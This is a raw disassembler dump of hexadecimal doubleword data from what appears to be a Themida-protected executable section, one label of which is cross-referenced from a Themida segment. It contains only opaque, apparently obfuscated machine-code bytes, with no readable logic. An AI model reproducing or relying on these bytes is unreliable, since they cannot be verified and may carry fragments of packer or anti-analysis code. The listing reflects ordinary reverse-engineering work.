		dd 5B345B41h, 1C0195FFh, 0AE90648h, 27000000h, 0B91FC9E0h
		dd 1253E8E6h, 870F615Ch, 6, 259DBD89h, 85C70648h, 6482425h
		dd 3, 152FBB66h, 0B92CBD83h, 0F00064Bh,	3684h, 4CE900h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 40EF6AC3h, 0A1BE8043h, 0AE9h, 0A1A8FC00h
		dd 5D579A50h, 50351B63h, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 1E2FCEC3h, 0DF80E3B3h
		dd 25BD8346h, 3064824h,	40E850Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0BD8950C3h
		dd 6483121h, 66CB8166h,	2CBD8393h, 64BB9h, 3DA840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0D72605C3h, 0C23DCB67h, 8E937B2h, 66000000h,	8D5F95ECh
		dd 2B753E2Dh, 482DD19Dh, 2CB5FF06h, 8B064BB9h, 3595FFFEh
		dd 6A06480Eh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 4BF2C351h, 99CE1E09h, 20B58B53h
		dd 6A064BB9h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0E394C356h, 106C7B6h, 6A000100h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 8B26C352h, 73594925h, 29A52139h, 0B6BF6650h
		dd 243489DAh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Bh,	52C35040h, 620EBF36h, 0FF43ECAh, 78Ch, 0DFBB5100h
		dd 5F609893h, 0B92CB5FFh, 6A064Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 95FF0AC3h, 6481D59h
		dd 0C5F7BF66h, 93E38166h, 20B58B49h, 89064BB9h,	48000995h
		dd 49858B06h, 89064810h, 0C486h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 301028E7h
		dd 0B5892784h, 6480E91h, 0A19958Bh, 0DB810648h,	6D39C81Ch
		dd 6604C283h, 89E08ABFh, 6A2050h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0CC7768C3h, 119D8920h
		dd 8D064806h, 4BCE0985h, 0D9D8B06h, 8906482Eh, 0B886h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 0EB0A17F9h, 50C9583h, 0AE953h, 166B0000h
		dd 0B97AE6ABh, 41753A6Bh, 66006A5Fh, 0FFBD9DBFh, 4BB92CB5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 25B331Ah, 0B3D9D8Bh, 95FF0648h, 64823E1h
		dd 9687D780h, 8F0F50h, 96000000h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 7EC35646h
		dd 0C1DB8166h, 2CB5FF7Fh, 66064BB9h, 95FFDA8Bh,	6480E2Dh
		dd 0BD8371B7h, 6481CA1h, 39840F00h, 0E8000000h,	0Dh, 1E9FA151h
		dd 3E500584h, 90D87322h, 16BB6673h, 8B505B5Ah, 243489F9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 42C35545h
		dd 0B92CB5FFh, 9D8B064Bh, 64800E9h, 271995FFh, 6A0648h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 66195DC3h, 2CCF781h,	19819D8Bh, 52560648h, 5FD8BF0Fh
		dd 2CB5FF5Bh, 6A064BB9h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 3FE5C353h, 9E8h, 0FFD2EE00h
		dd 780BAA22h, 9D236215h, 648199Dh, 0A1B5895Fh, 0FF06481Fh
		dd 480B4195h, 0CDBD8306h, 206480Ch, 79840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 2B57C1C3h, 4809E1BDh, 68A0F06h, 89000000h, 481ECD9Dh
		dd 0EE906h, 0D8C30000h,	0F2835240h, 5462EB6h, 0BB3F27CAh
		dd 0FD5858Bh, 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0B5EC86C3h, 81601ECCh, 93BF94D2h
		dd 0C6614Eh, 15B58900h,	0C7064801h, 480E6985h, 6, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 6C4E0841h, 676130F3h, 8D893665h, 64829E5h, 0FFF4A2E9h
		dd 1860FFFh, 0F9000000h, 9D0BC18Bh, 6482861h, 2A59BD8Bh
		dd 858D0648h, 64832FDh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0B5C35141h, 0F160E8ADh, 20A56E9Fh, 0B98D01EDh
		dd 0BB064804h, 11917D0Fh, 50F98B90h, 55BF6660h,	0C78B664Fh
		dd 0B5299061h, 6482415h, 0FE9006Ah, 1000000h, 0E17BEC6Ch
		dd 831E448Ah, 2A1E4DDEh, 6A3820h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0E4C35141h,	8DDBBF0Fh, 4C560185h
		dd 13E906h, 0EEF50000h,	0F12AA9D1h, 5803BFA1h, 8FDAD3D1h
		dd 623C6197h, 5C083E0h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 28C35242h, 0C989770h,	0F44C63Eh, 686h
		dd 6D9D8B00h, 5006482Bh, 0AE9h,	633CF000h, 6A1DF768h, 89DE9184h
		dd 81662404h, 6A853FE7h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0C6ECC95Fh, 84722EEAh
		dd 0BD29E059h, 6482C95h, 0BD8B006Ah, 64831E5h, 277D95FFh
		dd 6A0648h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 9D8BD6C3h, 648310Dh, 716438BBh, 148D8D08h
		dd 6A064B9Ch, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 5CE6C356h, 8B4569ADh, 12E9D1FFh
		dd 98000000h, 0ED0C7D22h, 0CE3219B1h, 8CFBF385h, 8B5298FDh
		dd 49BD8391h, 1064819h,	0A2850Fh, 0BE90000h, 2B000000h
		dd 0F5709680h, 706FF1D0h, 9D8B6634h, 6481CBDh, 6A026Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 19016C3h, 2FC7E8AAh,	0F905791h, 128Bh, 0AE800h, 0B6900000h
		dd 9102493Ch, 0E6535C6Ch, 505BFA8Bh, 0FE9h, 824E2600h
		dd 141AD47Eh, 71088A9Dh, 1D935C5h, 62D78190h, 0FF50EF11h
		dd 4823E195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0C2886CBDh, 3C3924CFh, 95291B9Ah
		dd 6481569h, 0D93E9h, 0E800h, 815D0000h, 4C560BEDh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 7068B674h, 0E9537357h, 0Eh, 5F8797B5h, 5B1FDBCFh, 122C875Eh
		dd 6A5B74CFh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 250CC357h, 0A134A1E4h,	3C924AA4h
		dd 23F19509h, 858D0648h, 64B9744h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 21C35141h, 5BBB92Ah, 6657462Dh
		dd 7393D381h, 850F605Bh, 6, 1EB1958Bh, 7EBA0648h, 61300A42h
		dd 6D69BF50h, 489707Eh,	50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0DC8F1984h, 0A950A616h
		dd 6014B3FBh, 49952950h, 58064806h, 1F518529h, 64610648h
		dd 35FFh, 9D8B0000h, 6480DEDh, 258964h,	8B000000h, 2D85FFD8h
		dd 8B06480Ah, 481005BDh, 6AFF6A06h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 1B6DC350h
		dd 0A90852AFh, 2EBF6657h, 0B5FF5BC6h, 6482281h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0BFC35343h, 68685E42h
		dd 0C368EFC2h, 7E9h, 7088DA00h,	7CF1FF37h, 595BD8Bh, 95FF0648h
		dd 6480AA5h, 15DE9h, 59858900h,	0B0064820h, 0A5BD8900h
		dd 0E6064828h, 3C71E470h, 43830F61h, 0E8000001h, 6, 6BCB353Fh
		dd 8E0F205Ch, 6, 2D09BD8Bh, 0F5F0648h, 12E8C8B6h, 0E5000000h
		dd 0DB3F07D5h, 9CF6EBEFh, 0E62A0C64h, 6ADB9C9Bh, 89BD2B12h
		dd 5B064821h, 6BAh, 0B58B6000h,	6480FEDh, 2A199589h, 89610648h
		dd 4808D59Dh, 0B3C18B06h, 4E8C1CCh, 29559D8Bh, 0F7660648h
		dd 11E9E2h, 0BC640000h,	0DBF0BAC6h, 0F7603E9Eh,	0ABCF2FA5h
		dd 2BE1DB69h, 0AE9C8h, 8FA00000h, 0ED6E177Dh, 47E12E6Bh
		dd 9D8BD18Bh, 6482749h,	6870Fh,	9D890000h, 6481E65h, 6E9h
		dd 810F00h, 8B000000h, 482B8185h, 4D78106h, 6016D177h
		dd 8BDBB70Fh, 48095585h, 0C0836106h, 830F6007h,	0
		dd 0F5D958Bh, 83610648h, 3BF900C0h, 1A830FD0h, 0F000000h
		dd 8B53F9B7h, 48052DBDh, 57E95B06h, 0F000000h, 484h, 51BB6600h
		dd 0C58D8BA5h, 0E9064826h, 0Ah,	6E119693h, 0EDC05747h
		dd 0E183981Dh, 2F840F01h, 66000000h, 557BF381h,	26C5A583h
		dd 1FE0648h, 4832158Dh,	81958906h, 5706482Bh, 0BE9h, 41877900h
		dd 71F25418h, 0A09748AFh, 0E95Bh, 0B58D0000h, 64BE9E2h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0ECC35040h
		dd 0F2FA90E9h, 0A6E544A7h, 6A006AFCh, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0B458C352h
		dd 335B62D9h, 99D8BCAh,	0FF064809h, 48306195h, 9A4B906h
		dd 0BD890000h, 6481B85h, 59D2352h, 5B064821h, 66FCE183h
		dd 0FEC5DF81h, 0A840FFCh, 0E9000000h, 5, 0C387DB17h, 1C02B6Eh
		dd 4815818Dh, 0E9D22B06h, 0Ch, 59E61893h, 77283422h, 6012EF0Ch
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 98C35545h, 61455FDDh, 9D2B1362h
		dd 6480129h, 6022C2BFh,	880D40h, 0E7810000h, 0DAFAC79h
		dd 0A19958Bh, 8D8B0648h, 6480F35h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 4AC35545h, 8166BBE6h, 5713DFCFh
		dd 3820Fh, 8B660000h, 8B505BDEh, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 11E9h, 81EEE500h,	0C0F468AAh, 8BE200A0h
		dd 0FFFD5D81h, 6A2367h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 0B4C3D5C3h, 0A5BD831Ah, 64819h
		dd 0D8840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 13E8E1C3h, 22000000h, 6BB50593h
		dd 80F0F996h, 0E6052AE5h, 88B34B6Ch, 13E8B253h,	0BE000000h
		dd 0BA6A1327h, 0F80A728Ch, 0EA5DDCACh, 0F1680D93h, 0C781D217h
		dd 6C27843Ah, 0B85F5Fh,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 6ECBC352h
		dd 0B64BC119h, 601CE195h, 28158D29h, 8D290648h,	6480FBDh
		dd 648D8D61h, 6A06484Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0DDDC352h, 52FFAD02h
		dd 0E1FF5BF5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	0EFC35343h, 0A08B8321h,	0BD83FCE5h, 6482425h, 0DB840F00h
		dd 6A000003h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 9773C351h, 0BD835D25h,	6482425h
		dd 0CA840F01h, 60000003h, 59A1C0B9h, 6059B93Ah,	29615920h
		dd 4820899Dh, 25BD8306h, 3064824h, 375860Fh, 0AE80000h
		dd 0E1000000h, 0A0C8599Ch, 6E32F938h, 68D0F22h,	81000000h
		dd 0C9DDACC7h, 6A605F3Ch, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 3F66C353h, 8B57C720h
		dd 480479BDh, 0D98C6606h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 93C35040h, 242E0493h,	80D88B66h, 8D2904E1h
		dd 6482F15h, 840FC90Ah,	102h, 2769B529h, 858B0648h, 6482385h
		dd 33DBB70Fh, 482AC985h, 0AE806h, 409E0000h, 0F3D9D7D8h
		dd 5575968Fh, 9D8B5BF8h, 6480ED5h, 0DCB96050h, 0F7BDA13h
		dd 58Dh, 0C5EFBB00h, 896118F5h,	6AFC2404h, 0BE900h, 992D0000h
		dd 0C611BE70h, 650F2F65h, 4E82Eh, 3FF0000h, 5052001Fh
		dd 0FE8B352h, 5E831h, 25310000h, 5FD00377h, 505F585Ah
		dd 448B86B3h, 830F0424h, 2, 8BA3B7h, 0BF665250h, 310F7A7Ah
		dd 61D68B60h, 4489585Ah, 86BB0424h, 5803DF36h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0E0C35242h, 0E3814216h
		dd 35B2359h, 1C0195FFh,	0B5890648h, 6481571h, 0B92C8589h
		dd 6A064Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0C8D7B1C3h, 1AF990FEh, 0FBBF0F07h, 19EE9h
		dd 0BFD3BB00h, 858B17BFh, 64BB924h, 1800C7h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 8B131FC3h, 0A99D8BD8h, 8B06482Eh, 4BB928B5h,	0B9858906h
		dd 8B064808h, 482BF185h, 0BCF8006h, 6A0689h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0FC562C3h
		dd 680h, 0DDBD2300h, 8B064818h,	48238585h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 0E6AE296Ch, 89496487h, 6A0446h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 9DC58C3h, 0F508E89h
		dd 88h,	24348900h, 0FFB1F380h, 4BB924B5h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
		dd 3E9C1084h, 0BB66EF56h, 3468B133h, 81BEB689h,	7ACB2404h
		dd 6A4168h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0B589A1C3h, 64830F1h, 0E9D9B70Fh,	9, 0F52D3A73h
		dd 486D64EBh, 2C858DA5h, 0E9064BB9h, 11h, 0E6AE296Ch, 7A496487h
		dd 5380C92h, 183FCECCh,	0EE850F2h, 0B5000000h, 0BD3660F7h
		dd 54664B11h, 340F9830h, 0DEBF6627h, 4895F34h, 51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 6656B399h, 0FFC0C2BFh, 481C0195h, 0DD9D8906h, 61064824h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0B9C35646h
		dd 242585C7h, 30648h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0BD834EC3h, 64BB92Ch
		dd 10840F00h, 0FC000000h, 25E9h, 48C0F00h, 66000000h, 503ECABFh
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 820FC08Bh, 3, 6AFFB70Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 41AAC352h, 0FD82C725h
		dd 8BD473FEh, 4828ED9Dh, 0CE906h, 67E50000h, 0AE33FF69h
		dd 0E556C488h, 0BD837FA0h, 6482425h, 0A6850F03h, 56000003h
		dd 0E58589h, 835B0648h,	4BB92CBDh, 840F0006h, 391h, 1DE9BD89h
		dd 0B5FF0648h, 64BB92Ch, 0E3595FFh, 6A0648h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 9BC86AC3h
		dd 68E000AEh, 0E968C60Ah, 14h, 1B1BB9CAh, 1A66194Dh, 9C3546DEh
		dd 0F216506Dh, 0CE1E094Bh, 0B920B58Bh, 6A064Bh,	3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0BB7126C3h, 9544D79Dh, 0BD2B5327h, 6480BA1h,	68C0F5Bh
		dd 89000000h, 48062D85h, 106C706h, 0E9000100h, 11h, 8844EC07h
		dd 31FBE60Ah, 7BA155EEh, 0C34E6944h, 51509667h,	11E9h
		dd 735C8C00h
		dd 118F0452h, 38EC5B05h, 0AA2E12E5h, 965FD36Fh,	0FFDEB70Fh
		dd 4BB92CB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 4A8624C6h, 451A872Ch, 81FC8AFEh
		dd 0D1CEECDBh, 5995FF51h, 8B06481Dh, 482285BDh,	20B58B06h
		dd 1064BB9h, 480FC99Dh,	49858B06h, 89064810h, 4818659Dh
		dd 0C4868906h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 73FC350h, 14E9CC89h
		dd 0B2000000h, 0D159C7B2h, 0C68FA362h, 8642D75Bh, 0BE3E3448h
		dd 8B1B2157h, 480A1995h, 5BD8B06h, 83064805h, 0BD8904C2h
		dd 6482059h, 66205089h,	1679E781h, 8DFE8B66h, 4BCE0985h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0BD8B2D1Ah, 64815BDh, 0B88689h, 74B30000h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 2F2D7C3h,	5FEAB1ECh, 0BBD88C08h, 5CC6D680h
		dd 0B92CB5FFh, 0BD8B064Bh, 6481CCDh, 23E195FFh,	6A0648h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 330B23C3h, 0F63B33FAh, 0F60E2ACh, 0F38AF3B7h, 0BF665061h
		dd 34899131h, 0BD8B6024h, 64825A9h, 8F17BA66h, 2CB5FF61h
		dd 66064BB9h, 1CE6DF81h, 0E2D95FFh, 6A0648h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 83E5C5C3h
		dd 481CA1BDh, 840F0006h, 0Bh, 0EDB396FCh, 0A2DEBF50h, 0FF9642E2h
		dd 4BB92CB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 3E10365Dh, 0CB45A9E2h, 1995FF5Bh
		dd 6A064827h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 16D3C353h, 0BF662103h,	0B5FFAEFEh
		dd 64BB92Ch, 95FF5F53h,	6480B41h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 14C35141h, 7E523D5Bh, 4E067E24h
		dd 25199589h, 0BD830648h, 6480CCDh, 5B840F02h, 0B3000000h
		dd 0D5858BBBh, 6A06480Fh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 29B3C351h, 482D6195h
		dd 51BD8B06h, 0C606482Ah, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 22BCE0C3h, 0BD3324F9h
		dd 4C98D89h, 85C70648h,	6480E69h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0F2C35747h
		dd 81E1BEC0h, 0E53FA5CBh, 0F3CBE904h, 6AFFFFh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0C62914C3h, 0BD8BC7CDh, 648048Dh, 6AC18BF8h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 4BB1C355h, 0B529D846h, 6482BEDh
dword_583108	dd 32FD858Dh, 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
					; DATA XREF: Themida_:0053EE38o
		dd 1C0424h, 55450000h, 97A8C3h,	83EDB673h, 9D8B0177h, 6482255h
		dd 0EE32BB50h, 4894C12h, 50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0E9AFC950h, 5,	4424ACh
		dd 6A006AA6h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 9041C352h, 81207C2h, 4B75E4E9h
		dd 6ADFB70Fh, 67BB6600h, 9F858D5Dh, 8B064C65h, 482B11BDh
		dd 5C08306h, 319D8B53h,	5F064810h, 0F88B6650h, 8B240489h
		dd 4827E1BDh, 6AD98B06h, 0FFB70F00h, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0B005A4C3h
		dd 37003B95h, 0DE97D0Fh, 98000000h, 76BD4DF7h, 9153BDD8h
		dd 8327EEB3h, 277D95FFh, 6A0648h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 0F16F78C3h, 8D8A484Ch
		dd 4B9C148Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0E7E567E1h, 892C5D96h, 482B1185h
		dd 8BD1FF06h, 48281DBDh, 49BD8306h, 1064819h, 0A8850Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0AAE072C3h, 82C72541h, 8F0FFEFDh,	6, 2CA99D8Bh
		dd 0BB660648h, 26A12AAh, 50DA8B66h, 6A240489h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0C17FC357h, 0EA65C71h, 11E92Bh, 0C6540000h, 0EFE14682h
		dd 0AD1C0E51h, 4FA22D29h, 8B731DD6h, 0E195FFDEh, 6A064823h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 2A66C350h, 51B58B60h, 8B06480Ch, 481C999Dh
		dd 7E96106h, 0E800000Dh, 0
		dd 0A9ED815Dh, 6A064C65h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 8B12C355h, 4823F5BDh
		dd 858DF806h, 64B9744h,	0FE9h, 1F084800h, 0B8ECDBEEh, 783D39D7h
		dd 9FEA7147h, 89D98A50h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 47D164C3h, 3D858940h
		dd 6006482Ah, 66F28B66h, 6461D68Bh, 35FFh, 8B70000h, 8964F88Bh
		dd 25h,	6E800h,	9B070000h, 0F7367CFh, 5FEFCB80h, 0A2D85FFh
		dd 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 6AF5C0C3h, 0E840FFFh, 60000000h, 0BA1B58Bh
		dd 0BD8B0648h, 6480241h, 1DB5FF61h, 0E806482Eh,	12h, 0FF97BD34h
		dd 4EE29511h, 1881CC86h, 11D0D594h, 840F1540h, 2, 0FF5B5B53h
		dd 480AA595h, 127E906h,	0EF810000h, 2041824Dh, 95300B0h
		dd 48183DB5h, 70E65F06h, 6C66BB66h, 0E4FAB70Fh,	0C9B52971h
		dd 3C06480Dh, 0FE830F61h, 29000000h, 4822A19Dh,	0C8B60F06h
		dd 6BAh, 159D8B00h, 8B06480Ah, 9D2960C1h, 64804ADh, 61D7B70Fh
		dd 8B04E8C1h, 482A999Dh, 0E2F76606h, 96F5F381h,	0C82B4EE1h
		dd 4A86BF66h, 0A2F78166h, 66D18B68h, 0F872CB81h, 0DE8h
		dd 0F9856C00h, 68C71B45h, 0A0239B6Bh, 0BF0FA70Dh, 0E95BFEh
		dd 8B000000h, 481DCD85h, 850F06h, 83000000h, 0E95007C0h
		dd 14h,	0B29091DEh, 51AC7EDh, 93AC5D16h, 1DA093EFh, 7D2298EDh
		dd 0C0835Fh, 16E66BFh, 0FD03B6Dh, 1083h, 0C3816600h, 5AE9258Bh
		dd 31000000h, 481B39BDh, 1D8D8B06h, 0E9064805h,	9, 9E1FF8F3h
		dd 0E8DF6CDAh, 1E183A2h, 37840Fh, 0B5310000h, 6480A9Dh
		dd 51DA583h, 0E9FE0648h, 0Eh, 64E988B9h, 87C846BBh, 0A3A92866h
		dd 9589101Ch, 6481DCDh,	6880Fh,	0C7810000h, 337F8BC8h
		dd 0E9h, 9EB58D00h, 6A064BF5h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0CB79C353h,	265CF1DFh
		dd 8B101A58h, 0C38166D9h, 0BBBF63ABh, 6A79C037h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 29F1FF37h, 482B45B5h, 0B99D8906h, 0FF064814h, 48306195h
		dd 0EB816606h, 9D8B43B8h, 6482565h, 838B9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 7EAA07CAh, 0E183CF4Ch, 53006AFCh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0E16C8417h
		dd 91B71BD5h, 29FCDA8Bh, 48005DBDh, 0B806h, 8B660000h
		dd 0BAF8h, 0BF530000h, 3C562ADAh, 0C233AD5Fh, 0D003E8D1h
		dd 7504E983h, 0C99D8BF4h, 6A06480Dh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 95C4C355h
		dd 6115A1A7h, 880Dh, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0A2F76793h, 2BE36D41h
		dd 4819459Dh, 0FA8B6606h, 0A19958Bh, 95290648h,	6480C99h
		dd 7E9h, 0D4A3E100h, 8A58629h, 0F358D8Bh, 6A0648h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 8968B5C3h, 0E0E82D3Fh, 1A4DB589h, 8B500648h,	3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 8BF8B70Fh, 481D0DBDh
		dd 41BD8B06h, 8306480Ch, 4819A5BDh, 840F0006h, 83h, 12810Fh
		dd 0DE90000h, 74000000h, 0E7D5C551h, 0DD975B86h, 0DC119474h
		dd 0B8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 0C7F99717h, 9E826h, 0CE400000h, 83E9116Bh
		dd 664DF493h, 5BB5D3BBh, 0A15BD8Bh, 8D8D0648h, 6484B64h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 48C35242h
		dd 0FF465A91h, 258D29E1h, 8306480Fh, 482425BDh,	840F0006h
		dd 40Ch, 0E19BD2Bh, 0BD830648h,	6482425h, 14840F01h, 6A000004h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 2AECC355h, 0A56C88C6h, 4926FFB6h,	2425BD83h
		dd 0F030648h, 3AC86h, 10E900h, 0D3340000h, 0C418D14Fh
		dd 80364DE6h, 4725C1EBh, 0F602354h, 958BDBBFh, 6482179h
		dd 6A6061h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 0B7116C3h, 58BBB699h, 81743B19h, 6087EFE3h
		dd 0D98C663Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	9BC35747h, 0E2D1D925h, 8BEABFF2h, 4814C19Dh, 80DA8A06h
		dd 9D2904E1h, 6481E4Dh,	840FC90Ah, 10Ch, 0E855006Ah, 3
